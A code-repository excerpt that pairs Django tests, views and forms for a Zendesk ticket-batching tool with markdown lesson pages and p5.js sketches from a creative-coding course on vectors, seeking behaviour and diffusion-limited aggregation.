def test_board_single_view_should_have_table_header(self):
response = self.client.get(
reverse('board_single', kwargs={'slug': self.board.slug})
)
expected = '<table class="table table-bordered table-condensed ' \
'table-hover">'
self.assertContains(response, expected, count=1, status_code=200)
expected = '<th width="7%"></th>' \
'<th>Subject</th>' \
'<th>Comment</th>' \
'<th>Requester</th>' \
'<th>Assignee</th>' \
'<th>Group</th>' \
'<th>Ticket Type</th>' \
'<th>Priority</th>' \
'<th>Tags</th>' \
'<th>Private Comment</th>' \
'<th>Zendesk Ticket ID</th>'
self.assertContains(response, expected, count=1, status_code=200)
def test_board_single_view_should_have_create_tickets_link(self):
response = self.client.get(
reverse('board_single', kwargs={'slug': self.board.slug})
)
expected = '<a href="%s">Create Tickets</a>' % reverse(
'board_tickets_create',
kwargs={'slug': self.board.slug}
)
self.assertContains(response, expected, count=1, status_code=200)
def test_board_single_view_should_have_reset_form_link(self):
response = self.client.get(
reverse('board_single', kwargs={'slug': self.board.slug})
)
expected = '<a href="%s">' \
'Reset Tickets</a>' % reverse(
'board_reset',
kwargs={'slug': self.board.slug}
)
self.assertContains(response, expected, count=1, status_code=200)
def test_board_single_view_should_have_board_name(self):
response = self.client.get(
reverse('board_single', kwargs={'slug': self.board.slug})
)
expected = '<h1>%s</h1>' % self.board.name
self.assertContains(response, expected, status_code=200)
def test_board_single_view_should_show_ticket_list(self):
response = self.client.get(
reverse('board_single', kwargs={'slug': self.board.slug})
)
expected = '<tr><td><a href="%s">Edit</a> | ' \
'<a href="%s">Delete</a></td>' \
'<td>Ticket 1</td><td>Comment 1</td>' \
'<td><EMAIL></td>' \
'<td>Natty</td><td>Development</td>' \
'<td>question</td><td>urgent</td>' \
'<td>welcome</td><td>Private comment</td>' \
'<td><a href="%s" target="_blank">24328</a></td></tr>' % (
reverse(
'ticket_edit',
kwargs={'ticket_id': self.first_ticket.id}
),
reverse(
'ticket_delete',
kwargs={'ticket_id': self.first_ticket.id}
),
settings.ZENDESK_URL + '/agent/tickets/24328'
)
self.assertContains(response, expected, status_code=200)
expected = '<tr><td><a href="/%s/">Edit</a> | ' \
'<a href="/%s/delete/">Delete</a></td>' \
'<td>Ticket 2</td><td>Comment 2</td>' \
'<td><EMAIL></td><td>1095195474</td>' \
'<td>Natty</td><td>Development</td>' \
'<td>question</td><td>high</td>' \
'<td>welcome internal</td>' \
'<td>Private comment</td>' \
'<td></td></tr>' % (
self.second_ticket.id,
self.second_ticket.id
)
self.assertNotContains(response, expected, status_code=200)
def test_board_single_view_should_save_data_when_submit_ticket_form(self):
data = {
'subject': 'Welcome to Pronto Service',
'comment': 'This is a comment.',
'requester': '<EMAIL>',
'assignee': self.agent.id,
'group': self.agent_group.id,
'ticket_type': 'question',
'priority': 'urgent',
'tags': 'welcome',
'private_comment': 'Private comment',
'zendesk_ticket_id': '24328',
'board': self.board.id
}
response = self.client.post(
reverse('board_single', kwargs={'slug': self.board.slug}),
data=data
)
ticket = Ticket.objects.last()
self.assertEqual(ticket.subject, 'Welcome to Pronto Service')
self.assertEqual(ticket.comment, 'This is a comment.')
self.assertEqual(ticket.requester, '<EMAIL>')
self.assertEqual(ticket.assignee.name, 'Natty')
self.assertEqual(ticket.group.name, 'Development')
self.assertEqual(ticket.ticket_type, 'question')
self.assertEqual(ticket.priority, 'urgent')
self.assertEqual(ticket.tags, 'welcome')
self.assertEqual(ticket.private_comment, 'Private comment')
self.assertEqual(ticket.zendesk_ticket_id, '24328')
expected = '<h1>%s</h1>' % self.board.name
self.assertContains(response, expected, status_code=200)
expected = '<tr><td><a href="%s">Edit</a> | ' \
'<a href="%s">Delete</a></td>' \
'<td>Ticket 1</td><td>Comment 1</td>' \
'<td><EMAIL></td>' \
'<td>Natty</td><td>Development</td>' \
'<td>question</td><td>urgent</td>' \
'<td>welcome</td><td>Private comment</td>' \
'<td><a href="%s" target="_blank">24328</a></td></tr>' % (
reverse(
'ticket_edit',
kwargs={'ticket_id': self.first_ticket.id}
),
reverse(
'ticket_delete',
kwargs={'ticket_id': self.first_ticket.id}
),
settings.ZENDESK_URL + '/agent/tickets/24328'
)
self.assertContains(response, expected, status_code=200)
expected = '<tr><td><a href="/%s/">Edit</a> | ' \
'<a href="/%s/delete/">Delete</a></td>' \
'<td>Ticket 2</td><td>Comment 2</td>' \
'<td><EMAIL></td>' \
'<td>Natty</td><td>Development</td>' \
'<td>question</td><td>high</td>' \
'<td>welcome internal</td>' \
'<td>Private comment</td>' \
'<td></td></tr>' % (
self.second_ticket.id,
self.second_ticket.id
)
self.assertNotContains(response, expected, status_code=200)
class BoardResetViewTest(TestCase):
def setUp(self):
agent = Agent.objects.create(name='Kan', zendesk_user_id='123')
agent_group = AgentGroup.objects.create(
name='Development',
zendesk_group_id='123'
)
self.board = Board.objects.create(name='Pre-Production')
self.first_ticket = Ticket.objects.create(
subject='Ticket 1',
comment='Comment 1',
requester='<EMAIL>',
assignee=agent,
group=agent_group,
ticket_type='question',
priority='urgent',
tags='welcome',
private_comment='Private comment',
zendesk_ticket_id='24328',
board=self.board
)
board = Board.objects.create(name='Another Pre-Production')
self.second_ticket = Ticket.objects.create(
subject='Ticket 2',
comment='Comment 2',
requester='<EMAIL>',
assignee=agent,
group=agent_group,
ticket_type='question',
priority='high',
tags='welcome internal',
private_comment='Private comment',
zendesk_ticket_id='56578',
board=board
)
def test_reset_view_should_reset_zendesk_ticket_id_for_tickets_in_board(
self
):
self.client.get(
reverse('board_reset', kwargs={'slug': self.board.slug})
)
first_ticket = Ticket.objects.get(id=self.first_ticket.id)
self.assertIsNone(first_ticket.zendesk_ticket_id)
second_ticket = Ticket.objects.get(id=self.second_ticket.id)
self.assertEqual(second_ticket.zendesk_ticket_id, '56578')
def test_reset_view_should_redirect_to_board(self):
response = self.client.get(
reverse('board_reset', kwargs={'slug': self.board.slug})
)
self.assertRedirects(
response,
reverse('board_single', kwargs={'slug': self.board.slug}),
status_code=302,
target_status_code=200
)
class BoardZendeskTicketsCreateViewTest(TestCase):
def setUp(self):
self.agent = Agent.objects.create(name='Kan', zendesk_user_id='123')
self.agent_group = AgentGroup.objects.create(
name='Development',
zendesk_group_id='123'
)
self.board = Board.objects.create(name='Production')
self.ticket = Ticket.objects.create(
subject='Ticket 1',
comment='Comment 1',
requester='<EMAIL>',
assignee=self.agent,
group=self.agent_group,
ticket_type='question',
priority='urgent',
tags='welcome',
private_comment='Private comment',
board=self.board
)
@override_settings(DEBUG=True)
@patch('boards.views.ZendeskTicket')
@patch('boards.views.ZendeskRequester')
def test_ticket_create_view_should_send_data_to_create_zendesk_ticket(
self,
mock_requester,
mock_ticket
):
ticket = Ticket.objects.last()
ticket.tags = 'welcome, pronto_marketing'
ticket.save()
mock_ticket.return_value.create.return_value = {
'ticket': {
'id': 1
}
}
mock_requester.return_value.search.return_value = {
'users': [{
'id': '2'
}]
}
self.client.get(
reverse('board_tickets_create', kwargs={'slug': self.board.slug})
)
data = {
'ticket': {
'subject': 'Ticket 1',
'comment': {
'body': 'Comment 1'
},
'requester_id': '2',
'assignee_id': '123',
'group_id': '123',
'type': 'question',
'priority': 'urgent',
'tags': ['welcome', 'pronto_marketing']
}
}
comment = {
'ticket': {
'comment': {
'author_id': '123',
'body': 'Private comment',
'public': False
}
}
}
mock_ticket.return_value.create.assert_called_once_with(data)
mock_ticket.return_value.create_comment.assert_called_once_with(
comment,
1
)
requester = Requester.objects.last()
self.assertEqual(requester.zendesk_user_id, '2')
@override_settings(DEBUG=True)
@patch('boards.views.ZendeskTicket')
@patch('boards.views.ZendeskRequester')
def test_ticket_create_view_should_create_two_tickets_if_there_are_two(
self,
mock_requester,
mock_ticket
):
mock_ticket.return_value.create.return_value = {
'ticket': {
'id': 1
}
}
mock_requester.return_value.search.return_value = {
'users': [{
'id': '2'
}]
}
mock_ticket.return_value.create_comment.return_value = {
'audit': {
'events': [{
'public': False,
'body': 'Private Comment',
'author_id': '2'
}]
}
}
Ticket.objects.create(
subject='Ticket 2',
comment='Comment 2',
requester='<EMAIL>',
assignee=self.agent,
group=self.agent_group,
ticket_type='question',
priority='low',
tags='welcome',
private_comment='Private comment',
board=self.board
)
self.client.get(
reverse('board_tickets_create', kwargs={'slug': self.board.slug})
)
self.assertEqual(mock_ticket.return_value.create.call_count, 2)
self.assertEqual(mock_ticket.return_value.create_comment.call_count, 2)
ticket_calls = [
call({
'ticket': {
'subject': 'Ticket 1',
'comment': {
'body': 'Comment 1'
},
'requester_id': '2',
'assignee_id': '123',
'group_id': '123',
'type': 'question',
'priority': 'urgent',
'tags': ['welcome']
}
}),
call({
'ticket': {
'subject': 'Ticket 2',
'comment': {
'body': 'Comment 2'
},
'requester_id': '2',
'assignee_id': '123',
'group_id': '123',
'type': 'question',
'priority': 'low',
'tags': ['welcome']
}
})
]
mock_ticket.return_value.create.assert_has_calls(ticket_calls)
comment_calls = [
call({
'ticket': {
'comment': {
'author_id': '123',
'body': 'Private comment',
'public': False
}
}
}, 1),
call({
'ticket': {
'comment': {
'author_id': '123',
'body': 'Private comment',
'public': False
}
}
}, 1)
]
mock_ticket.return_value.create_comment.assert_has_calls(comment_calls)
requester = Requester.objects.last()
self.assertEqual(requester.zendesk_user_id, '2')
@override_settings(DEBUG=True)
@patch('boards.views.ZendeskTicket')
@patch('boards.views.ZendeskRequester')
def test_ticket_create_view_should_create_only_tickets_in_their_board(
self,
mock_requester,
mock_ticket
):
mock_ticket.return_value.create.return_value = {
'ticket': {
'id': 1
}
}
mock_requester.return_value.search.return_value = {
'users': [{
'id': '2'
}]
}
mock_ticket.return_value.create_comment.return_value = {
'audit': {
'events': [{
'public': False,
'body': 'Private Comment',
'author_id': '2'
}]
}
}
board = Board.objects.create(name='Monthly Newsletter')
Ticket.objects.create(
subject='Ticket 2',
comment='Comment 2',
requester='<EMAIL>',
assignee=self.agent,
group=self.agent_group,
ticket_type='question',
priority='low',
tags='welcome',
private_comment='Private comment',
board=board
)
self.client.get(
reverse('board_tickets_create', kwargs={'slug': self.board.slug})
)
self.assertEqual(mock_ticket.return_value.create.call_count, 1)
self.assertEqual(mock_ticket.return_value.create_comment.call_count, 1)
ticket_calls = [
call({
'ticket': {
'subject': 'Ticket 1',
'comment': {
'body': 'Comment 1'
},
'requester_id': '2',
'assignee_id': '123',
'group_id': '123',
'type': 'question',
'priority': 'urgent',
'tags': ['welcome']
}
})
]
mock_ticket.return_value.create.assert_has_calls(ticket_calls)
comment_calls = [
call({
'ticket': {
'comment': {
'author_id': '123',
'body': 'Private comment',
'public': False
}
}
}, 1)
]
mock_ticket.return_value.create_comment.assert_has_calls(comment_calls)
requester = Requester.objects.last()
self.assertEqual(requester.zendesk_user_id, '2')
@override_settings(DEBUG=True)
@patch('boards.views.ZendeskTicket')
@patch('boards.views.ZendeskRequester')
def test_ticket_create_view_should_redirect_to_board(
self,
mock_requester,
mock_ticket
):
mock_requester.return_value.search.return_value = {
'users': [{
'id': '1095195473'
}]
}
mock_ticket.return_value.create.return_value = {
'ticket': {
'id': 1
}
}
response = self.client.get(
reverse('board_tickets_create', kwargs={'slug': self.board.slug})
)
self.assertRedirects(
response,
reverse('board_single', kwargs={'slug': self.board.slug}),
status_code=302,
target_status_code=200
)
requester = Requester.objects.last()
self.assertEqual(requester.zendesk_user_id, '1095195473')
@override_settings(DEBUG=True)
@patch('boards.views.ZendeskTicket')
@patch('boards.views.ZendeskRequester')
def test_it_should_set_zendesk_ticket_id_and_requester_id_to_ticket(
self,
mock_requester,
mock_ticket
):
self.assertIsNone(self.ticket.zendesk_ticket_id)
ticket_url = 'https://pronto1445242156.zendesk.com/api/v2/' \
'tickets/16.json'
result = {
'ticket': {
'subject': 'Hello',
'submitter_id': 1095195473,
'priority': None,
'raw_subject': 'Hello',
'id': 16,
'url': ticket_url,
'group_id': 23338833,
'tags': ['welcome'],
'assignee_id': 1095195243,
'via': {
'channel': 'api',
'source': {
'from': {}, 'to': {}, 'rel': None
}
},
'ticket_form_id': None,
'updated_at': '2016-12-11T13:27:12Z',
'created_at': '2016-12-11T13:27:12Z',
'description': 'yeah..',
'status': 'open',
'requester_id': 1095195473,
'forum_topic_id': None
}
}
mock_ticket.return_value.create.return_value = result
mock_requester.return_value.search.return_value = {
'users': [{
'id': '1095195473'
}]
}
self.client.get(
reverse('board_tickets_create', kwargs={'slug': self.board.slug})
)
ticket = Ticket.objects.last()
self.assertEqual(ticket.zendesk_ticket_id, '16')
requester = Requester.objects.last()
self.assertEqual(requester.zendesk_user_id, '1095195473')
@patch('boards.views.ZendeskTicket')
def test_create_view_should_not_create_if_zendesk_ticket_id_not_empty(
self,
mock
):
ticket = Ticket.objects.last()
ticket.zendesk_ticket_id = '123'
ticket.save()
self.client.get(
reverse('board_tickets_create', kwargs={'slug': self.board.slug})
)
self.assertEqual(mock.return_value.create.call_count, 0)
@override_settings(DEBUG=True)
@patch('boards.views.ZendeskTicket')
@patch('boards.views.ZendeskRequester')
def test_create_view_should_not_create_if_requester_id_is_empty(
self,
mock_requester,
mock_ticket
):
self.assertIsNone(self.ticket.zendesk_ticket_id)
ticket_url = 'https://pronto1445242156.zendesk.com/api/v2/' \
'tickets/16.json'
result = {
'ticket': {
'subject': 'Hello',
'submitter_id': 1095195473,
'priority': None,
'raw_subject': 'Hello',
'id': 16,
'url': ticket_url,
'group_id': 23338833,
'tags': ['welcome'],
'assignee_id': 1095195243,
'via': {
'channel': 'api',
'source': {
'from': {}, 'to': {}, 'rel': None
}
},
'ticket_form_id': None,
'updated_at': '2016-12-11T13:27:12Z',
'created_at': '2016-12-11T13:27:12Z',
'description': 'yeah..',
'status': 'open',
'requester_id': '',
'forum_topic_id': None
}
}
mock_ticket.return_value.create.return_value = result
mock_requester.return_value.search.return_value = {
'users': []
}
self.client.get(
reverse('board_tickets_create', kwargs={'slug': self.board.slug})
)
ticket = Ticket.objects.last()
self.assertIsNone(ticket.zendesk_ticket_id)
<file_sep>/zendesk_tickets_machine/tickets/urls.py
from django.conf.urls import url
from .views import (
TicketDeleteView,
TicketEditView,
)
urlpatterns = [
url(r'^(?P<ticket_id>[0-9]+)/$',
TicketEditView.as_view(), name='ticket_edit'),
url(r'^(?P<ticket_id>[0-9]+)/delete/$',
TicketDeleteView.as_view(), name='ticket_delete'),
]
<file_sep>/zendesk_tickets_machine/tickets/views.py
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.shortcuts import render
from django.views.generic import TemplateView, View
from .forms import TicketForm
from .models import Ticket
class TicketEditView(TemplateView):
template_name = 'ticket_edit.html'
def get(self, request, ticket_id):
ticket = Ticket.objects.get(id=ticket_id)
initial = {
'subject': ticket.subject,
'comment': ticket.comment,
'requester': ticket.requester,
'assignee': ticket.assignee,
'assignee_id': ticket.assignee_id,
'group': ticket.group,
'ticket_type': ticket.ticket_type,
'priority': ticket.priority,
'tags': ticket.tags,
'private_comment': ticket.private_comment,
'zendesk_ticket_id': ticket.zendesk_ticket_id,
'board': ticket.board.id
}
form = TicketForm(initial=initial)
return render(
request,
self.template_name,
{
'board_slug': ticket.board.slug,
'form': form
}
)
def post(self, request, ticket_id):
ticket = Ticket.objects.get(id=ticket_id)
form = TicketForm(request.POST, instance=ticket)
form.save()
return HttpResponseRedirect(
reverse('board_single', kwargs={'slug': ticket.board.slug})
)
class TicketDeleteView(View):
def get(self, request, ticket_id):
ticket = Ticket.objects.get(id=ticket_id)
board_slug = ticket.board.slug
ticket.delete()
return HttpResponseRedirect(
reverse('board_single', kwargs={'slug': board_slug})
)
<file_sep>/zendesk_tickets_machine/tickets/forms.py
from django import forms
from .models import Ticket
class TicketForm(forms.ModelForm):
class Meta:
model = Ticket
fields = [
'subject',
'comment',
'requester',
'assignee',
'group',
'ticket_type',
'priority',
'tags',
'private_comment',
'zendesk_ticket_id',
'board',
]
widgets = {
'subject': forms.TextInput(
attrs={
'placeholder': 'Subject',
'class': 'form-control'
}
),
'comment': forms.Textarea(
attrs={
'placeholder': 'Comment',
'class': 'form-control',
'rows': 6
}
),
'requester': forms.TextInput(
attrs={
'placeholder': 'Requester',
'class': 'form-control'
}
),
'assignee': forms.Select(
attrs={
'class': 'form-control'
}
),
'group': forms.Select(
attrs={
'class': 'form-control'
}
),
'ticket_type': forms.Select(
attrs={
'class': 'form-control'
}
),
'priority': forms.Select(
attrs={
'class': 'form-control'
}
),
'tags': forms.TextInput(
attrs={
'placeholder': 'Tags',
'class': 'form-control'
}
),
'private_comment': forms.Textarea(
attrs={
'placeholder': 'Private Comment',
'class': 'form-control',
'rows': 13
}
),
'board': forms.HiddenInput()
}
def save(self, commit=True):
ticket = super(TicketForm, self).save(commit=False)
if not ticket.zendesk_ticket_id:
ticket.zendesk_ticket_id = None
if commit:
ticket.save()
return ticket
<file_sep>/zendesk_tickets_machine/boards/views.py
import time
from django.conf import settings
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.shortcuts import render
from django.views.generic import TemplateView, View
from .models import Board, BoardGroup
from requesters.models import Requester
from tickets.forms import TicketForm
from tickets.models import Ticket
from zendesk.api import User as ZendeskRequester
from zendesk.api import Ticket as ZendeskTicket
class BoardView(TemplateView):
template_name = 'boards.html'
def get(self, request):
boards = [
[
board_group,
Board.objects.filter(board_group=board_group)
]
for board_group in BoardGroup.objects.all()
]
ungrouped_boards = Board.objects.filter(board_group__isnull=True)
return render(
request,
self.template_name,
{
'boards': boards,
'ungrouped_boards': ungrouped_boards,
}
)
class BoardSingleView(TemplateView):
template_name = 'board_single.html'
def get(self, request, slug):
board = Board.objects.get(slug=slug)
initial = {
'board': board.id
}
form = TicketForm(initial=initial)
tickets = Ticket.objects.filter(board__slug=slug)
zendesk_ticket_url = settings.ZENDESK_URL + '/agent/tickets/'
return render(
request,
self.template_name,
{
'board_name': board.name,
'board_slug': board.slug,
'form': form,
'tickets': tickets,
'zendesk_ticket_url': zendesk_ticket_url
}
)
def post(self, request, slug):
board = Board.objects.get(slug=slug)
form = TicketForm(request.POST)
form.save()
tickets = Ticket.objects.filter(board__slug=slug)
zendesk_ticket_url = settings.ZENDESK_URL + '/agent/tickets/'
return render(
request,
self.template_name,
{
'board_name': board.name,
'board_slug': board.slug,
'form': form,
'tickets': tickets,
'zendesk_ticket_url': zendesk_ticket_url
}
)
class BoardResetView(View):
def get(self, request, slug):
Ticket.objects.filter(board__slug=slug).update(zendesk_ticket_id=None)
return HttpResponseRedirect(
reverse('board_single', kwargs={'slug': slug})
)
class BoardZendeskTicketsCreateView(View):
def get(self, request, slug):
zendesk_ticket = ZendeskTicket()
zendesk_user = ZendeskRequester()
tickets = Ticket.objects.filter(
board__slug=slug
).exclude(
zendesk_ticket_id__isnull=False
)
for each in tickets:
requester_result = zendesk_user.search(each.requester)
try:
requester_id = requester_result['users'][0]['id']
data = {
'ticket': {
'subject': each.subject,
'comment': {
'body': each.comment
},
'requester_id': requester_id,
'assignee_id': each.assignee.zendesk_user_id,
'group_id': each.group.zendesk_group_id,
'type': each.ticket_type,
'priority': each.priority,
'tags': [tag.strip() for tag in each.tags.split(',')]
}
}
result = zendesk_ticket.create(data)
each.zendesk_ticket_id = result['ticket']['id']
each.save()
Requester.objects.get_or_create(
email=each.requester,
zendesk_user_id=requester_id
)
data = {
'ticket': {
'comment': {
'author_id': each.assignee.zendesk_user_id,
'body': each.private_comment,
'public': False
}
}
}
result = zendesk_ticket.create_comment(
data,
each.zendesk_ticket_id
)
except IndexError:
pass
if not settings.DEBUG:
time.sleep(1)
return HttpResponseRedirect(
reverse('board_single', kwargs={'slug': slug})
)
<file_sep>/zendesk_tickets_machine/tickets/tests/test_models.py
from django.test import TestCase
from ..models import Ticket
from agents.models import Agent
from agent_groups.models import AgentGroup
from boards.models import Board
class TicketTest(TestCase):
def test_save_ticket(self):
agent = Agent.objects.create(name='Kan', zendesk_user_id='123')
agent_group = AgentGroup.objects.create(
name='Development',
zendesk_group_id='123'
)
board = Board.objects.create(
name='Pre-Production',
slug='pre-production'
)
comment = 'Thank you for signing up with us! ' \
'Currently we are sorting out the info and will reach ' \
'out again soon to continue with the setup.'
ticket = Ticket()
ticket.subject = 'Welcome to Pronto Service'
ticket.comment = comment
ticket.requester = '<EMAIL>'
ticket.assignee = agent
ticket.group = agent_group
ticket.ticket_type = 'question'
ticket.priority = 'urgent'
ticket.tags = 'welcome'
ticket.private_comment = 'Private comment'
ticket.zendesk_ticket_id = '24328'
ticket.board = board
ticket.save()
ticket = Ticket.objects.last()
self.assertEqual(ticket.subject, 'Welcome to Pronto Service')
self.assertEqual(ticket.comment, comment)
self.assertEqual(ticket.requester, '<EMAIL>')
self.assertEqual(ticket.assignee.name, 'Kan')
self.assertEqual(ticket.group.name, 'Development')
self.assertEqual(ticket.ticket_type, 'question')
self.assertEqual(ticket.priority, 'urgent')
self.assertEqual(ticket.tags, 'welcome')
self.assertEqual(ticket.private_comment, 'Private comment')
self.assertEqual(ticket.zendesk_ticket_id, '24328')
self.assertEqual(ticket.board.name, 'Pre-Production')
| 82be1a1b06cb4b468ce9e0a140539e762f3e2a41 | [
"Python",
"Dockerfile",
"YAML"
] | 14 | Python | waffle-iron/zendesk-tickets-machine | 678909e215adc5389b56b09899cdb245bb35cf89 | a179f4c5986365d40e093704ba7c4156df6980f3 |
refs/heads/gh-pages | <file_sep>---
title: Starting and Submitting Work
published: true
---
# {{page.title}}
## Starting a project in VS Code
<iframe width="560" height="315" src="https://www.youtube.com/embed/JDv99gae8B0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
## Starting a project in CodeSandbox
## Submitting project code
<iframe width="560" height="315" src="https://www.youtube.com/embed/ZdWwpraqMLg" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><file_sep>---
title: Acceleration
---
# {{page.title}}
In the last lesson we saw how we can use vectors to represent position/location and velocity, which is a change in position. In this lesson we will examine how we can use vectors to model acceleration, which is a change in velocity.
## Constant Acceleration - Gravity
The most universal acceleration that we encounter is gravity. For the purpose of this lesson let's assume that gravity is a constant, i.e. we're not going to deal with relativity.
Gravity is a force that is always acting on an object down towards the center of mass at _9.8 m/s<sup>2</sup>_ You may be familiar with [free body diagrams](https://en.wikipedia.org/wiki/Free_body_diagram) from physics, which are a great way of thinking about how forces act on an object. If you're not, please read through the wiki link above. In simplest terms we can calculate what happens to a body (object) in the next time step by looking at all of the forces (vectors) acting on that body at any given time. For example lets say we have release a ball from rest and let it drop, without friction, due to the force of gravity. We could draw a FBD with one vector pointing down with a length equal to the force of gravity.

In the next time step (frame of the draw loop) the ball will move exactly the length of the acceleration vector. But what happens in the next time step? Now the ball is already moving with some velocity while still being influenced by gravity.

The beauty of vectors is that we can just add acceleration to velocity and velocity to location to find the next location. Visually we can think of this as just placing the velocity vector at the end of the acceleration vector to find the resulting total vector.
<iframe width="100%" height="600" frameborder="0" src="https://editor.p5js.org/mdarfler/sketches/434eF3wj0"></iframe>
Lovely. Let's keep going.
What if instead of just dropping the ball straight down from the top what if we tried to throw the ball across the screen. We can imagine that when the ball is thrown is is given some initial velocity _v_ that has some amount of _x_ and some amount of _y_. If we draw a FBD it might look something like this.

If we add the two vectors together by arranging them tip to tail we can find the resulting vector which will define how the ball moves in the next time step.

<iframe width="100%" height="600" frameborder="0" src="https://editor.p5js.org/mdarfler/sketches/BIJ5rb9Vq"></iframe>
<file_sep>let walkers = [];
let static = [];
function setup() {
createCanvas(640, 240)
for (let i = 0; i < 100; i++) {
walkers.push(new Walker(random(width), random(height), 10));
}
let seed = new Walker(width / 2, height / 2, 10);
seed.static = true;
static.push(seed);
}
function draw() {
background(255);
for (let walker of walkers) {
walker.show();
walker.move();
}
static[0].show();
}
class Walker {
constructor(x, y, r) {
this.x = x;
this.y = y;
this.r = r;
this.static = false;
}
move() {
this.x += random(-2, 2);
this.y += random(-2, 2);
}
show() {
this.static ? fill(0) : fill(200,100);
ellipse(this.x, this.y, this.r)
}
}<file_sep>---
title: Pretest
---
# [REThink Pretest](https://www.surveymonkey.com/r/REThinkPre_HS_Student18-19)
Last summer I participated in a summer research experience for teachers at Drexel Univeristy. As part of the experience I built a lesson plan based on the research that I was doing. We will be using that lesson plan later in the year, but before we get to that there is a quick [pre-survey](https://www.surveymonkey.com/r/REThinkPre_HS_Student18-19) that they'd like to you take. Please take time now to do so.
# [CS Pretest](https://docs.google.com/forms/d/e/1FAIpQLSe3TPF8QtvyjIvPy19EMnm8Is6CDDHw83VWwaSScTjHKzzXxw/viewform?usp=sf_link)
As outlined in the opening page, there are a number of goals for this class divided into three main areas, abstract skills, concrete skills, and concepts. In order to chart your progress please take the time to fill out the [survey](https://docs.google.com/forms/d/e/1FAIpQLSe3TPF8QtvyjIvPy19EMnm8Is6CDDHw83VWwaSScTjHKzzXxw/viewform?usp=sf_link). We will revisit this a couple of times throughout the semester.
<file_sep>---
title: Mouse Seeking Behavior
---
# {{page.title}}
Gravity is all well and good, but there are lots of great programs out there that can model gravity in collisions just fine, so why reinvent the wheel. What we want to do is to start creating some objects that have feelings, hopes and dreams, desires... In this lesson we'll try to understand how to make an object move towards, or seek out something on the screen. In our case, the mouse.
## Getting to there from here - Vector Subtraction
If we want to know how we get from here to there, as with velocity, we simply add the two vectors together and voila, we're there. But what if we know where there is but we don't know how to get there from here? Well that's where vector **subtraction** comes into play.

So how do I get to there from here? Algebraically, its similar to addition with a - instead of a +.
_v - u = (v.x - u.x, v.y - u.y)_.
Geometrically we would take our current position vector, **reverse** the direction and place it on the end of the position vector of where we are going. If we "add" those two vectors together we are left with a vector that points from here to there.

In code we can use the `sub()` method to subtract one value from the other. Typically we want to call the `sub()` method on the position vector of where we want to go and subtract from it where we are. e.g. `there.sub(here)` If we do it the other way we'll just get a vector pointing in the opposite direction.
<iframe width="100%" height="600" frameborder="0" src="https://editor.p5js.org/mdarfler/sketches/JMMQtJrxb"></iframe>
In the example above a vector is drawn from the center of the screen to the mouse location using `mouse.sub(center)` to create the vector.
## Seek the mouse
With this information we could easily write some code that would instantly move an object from its current location to the mouse by just applying the vector that resulted from the subtraction of its location vector from the mouse vector as a force.
```javascript
function draw(){
mouse = createVector(mouseX,mouseY);
let subVector = mouse.sub(pos);
pos.add(subVector);
}
```
### Max Speed
But unless this object moves at the speed of light and can stop on a dime this is pretty unrealistic. What is more likely is that our object can only move at some maximum speed. The simplest way of doing this is with the `limit()` method. When called on a vector `limit()` receives a number as an argument which represents the maximum magnitude of the vector. e.g. `vel.limit(5)` would limit the maximum euclidean distance defined by the velocity vector to 5.
```javascript
function draw(){
mouse = createVector(mouseX,mouseY);
let subVector = mouse.sub(pos);
let vel = subVector.limit(5);
pos.add(vel);
}
```
### Vision
<iframe width="600" height="240" frameborder="0" src="https://editor.p5js.org/mdarfler/embed/5LOkGTMYn"></iframe>
<file_sep>---
title: Diffusion Limited Aggregation
---
# {{page.title}}
> Many attractive images and life-like structures can be generated using models of physical processes from areas of chemistry and physics. One such example is diffusion limited aggregation or DLA which describes, among other things, the diffusion and aggregation of zinc ions in an electrolytic solution onto electrodes. "Diffusion" because the particles forming the structure wander around randomly before attaching themselves ("Aggregating") to the structure. "Diffusion-limited" because the particles are considered to be in low concentrations so they don't come in contact with each other and the structure grows one particle at a time rather then by chunks of particles. Other examples can be found in coral growth, the path taken by lightning, coalescing of dust or smoke particles, and the growth of some crystals. Perhaps the first serious study of such processes was made by <NAME>. and <NAME>. and published by them in 1981, titled: "Diffusion limited aggregation, a kinetic critical phenomena"
> -[<NAME>](http://paulbourke.net/fractals/dla/)

DLA creates a tree like structure which is referred to as a Brownian Trees and exhibit some very interesting fractal patterns, meaning that they show similar structures at different scales. I.e. if you zoom in on one branch of the tree it starts to look like the whole tree again.
## Setting the stage
In order to create our simulation we need to build up our conceptual understanding of how DLA works while also establishing how to represent the process computationally. The following will try to express the basic ideas using images and pseudo-code.
To start, we'll need to build the environment in which these particles are diffusing. Since these particles move as if by a random walk we'll call this object `Walker.` The walker will need to do two things at first.
1. `move()`
1. `display()`
So we can create a class which we will use to create our walker objects
```javascript
class Walker {
constructor(x,y,r){
this.x = x
this.y = y
this.r = r
}
move(){
//move randomly up or down
//move randomly left or right
}
show(){
// somehow show yourself on the screen
}
}
```
We can create a `for` loop to create a number of instances of the walker, put them into an array and iterate over the array
```javascript
let walkers = [];
function setup(){
createCanvas(600,600)
for(let i = 0; i < 100; i++){
walkers.push(new Walker(random(width),random(height)));
}
}
function draw(){
for(let walker of walkers){
walker.show();
walker.move();
}
}
```
<iframe width = "640" height = "260" frameborder = "0" src="https://editor.p5js.org/mdarfler/embed/HSrrC-V25"></iframe>
Pretty neat, but lets keep going

## Planting the seed
In order for DLA to work, there needs to be a seed, an initial point or area that other walkers can attach to. While we could make a new class called `seed` that isn't going to do us much good. If we go back to how DLA works we see that the seed, anything that's attached to the seed and the walkers are all the same "thing." Therefore, let's add to the `Walker` the idea of whether its moving or static with a simple boolean variable in the constructor `this.static` and set it `false` by default.
```javascript
let walkers = [];
function setup(){
createCanvas(600,600)
for(let i = 0; i < 100; i++){
walkers.push(new Walker(random(width),random(height)));
}
let seed = new Walker(width/2, height/2);
seed.static = true;
walkers.push(seed);
}
```
So what does it mean to be static? Most importantly, it doesn't move, but it may also look different. We can modify both the show and move function to check if the walker is static.
```javascript
show(){
if(this.static){
fill(0)
} else {
fill(200)
}
ellipse(this.x, this.y, this.r)
}
move(){
if(!this.static){
this.x += random(-5,5);
this.y += random(-5,5);
}
}
```
<iframe width="640" height="240" frameborder="0" src="https://editor.p5js.org/mdarfler/embed/BO4EEwFI2"></iframe>
<br>

<br>
## Aggregation and Filter
